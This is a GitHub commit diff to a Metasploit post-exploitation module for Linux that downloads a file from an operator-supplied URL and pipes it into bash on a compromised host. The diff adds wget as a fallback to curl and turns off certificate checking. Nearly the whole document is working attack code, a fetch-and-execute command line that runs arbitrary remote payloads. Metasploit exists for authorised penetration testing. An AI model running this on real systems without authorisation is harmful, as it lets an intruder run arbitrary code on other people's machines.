Skip to content

Commit 47ea8ae

Browse files
author
jvazquez-r7
committed
Merge branch 'download_exec_wget' of https://github.com/dougsko/metasploit-framework into dougsko-download_exec_wget
2 parents 011b689 + b7ee9e5 commit 47ea8ae

File tree

1 file changed

+43
-21
lines changed

1 file changed

+43
-21
lines changed

modules/post/linux/manage/download_exec.rb

Lines changed: 43 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -18,12 +18,13 @@ class Metasploit3 < Msf::Post
1818
include Msf::Post::File
1919
include Msf::Post::Linux::System
2020

21-
2221
def initialize(info={})
2322
super( update_info( info,
24-
'Name' => 'Linux Download Exec',
23+
'Name' => 'Linux Manage Download and Exececute',
2524
'Description' => %q{
26-
This module downloads and runs a file with bash. It uses curl and bash from the PATH.
25+
This module downloads and runs a file with bash. It first tries to uses curl as
26+
its HTTP client and then wget if it's not found. Bash found in the PATH is used to
27+
execute the file.
2728
},
2829
'License' => MSF_LICENSE,
2930
'Author' =>
@@ -35,14 +36,23 @@ def initialize(info={})
3536
))
3637

3738
register_options(
38-
[
39-
OptString.new('URL', [true, 'Full URL of file to download.'])
40-
], self.class)
39+
[
40+
OptString.new('URL', [true, 'Full URL of file to download.'])
41+
], self.class)
4142

4243
end
4344

45+
def cmd_exec_vprint(cmd)
46+
vprint_status("Executing: #{cmd}")
47+
output = cmd_exec(cmd)
48+
if output.length > 0
49+
vprint_status("#{output}")
50+
end
51+
return
52+
end
53+
4454
def exists_exe?(exe)
45-
path = expand_path("$PATH")
55+
path = expand_path(ENV['PATH'])
4656
if path.nil? or path.empty?
4757
return false
4858
end
@@ -54,28 +64,40 @@ def exists_exe?(exe)
5464
return false
5565
end
5666

57-
def run
67+
def search_http_client
5868
print_status("Checking if curl exists in the path...")
5969
if exists_exe?("curl")
60-
print_good("curl available, going ahead...")
61-
else
62-
print_warning("curl not available on the $PATH, aborting...")
70+
print_good("curl available, using it")
71+
@stdout_option = ""
72+
@http_client = "curl"
73+
@ssl_option = "-k"
6374
return
6475
end
6576

66-
if datastore['URL'].match(/https/)
67-
cmd_exec_vprint("`which curl` -k #{datastore['URL']} 2>/dev/null | `which bash` ")
68-
else
69-
cmd_exec_vprint("`which curl` #{datastore['URL']} 2>/dev/null | `which bash` ")
77+
print_status("Checking if wget exists in the path...")
78+
if exists_exe?("wget")
79+
print_good("wget available, using it")
80+
@http_client = "wget"
81+
@stdout_option = "-O-"
82+
@ssl_option = "--no-check-certificate"
83+
return
7084
end
85+
7186
end
7287

73-
def cmd_exec_vprint(cmd)
74-
vprint_status("Executing: #{cmd}")
75-
output = cmd_exec(cmd)
76-
if output.length > 0
77-
vprint_status("#{output}")
88+
def run
89+
search_http_client
90+
91+
if not @http_client
92+
print_warning("neither curl nor wget available in the $PATH, aborting...")
93+
return
94+
end
95+
96+
if datastore['URL'].match(/https/)
97+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
98+
else
99+
cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which bash` ")
78100
end
79-
return
80101
end
102+
81103
end

0 commit comments

Comments
 (0)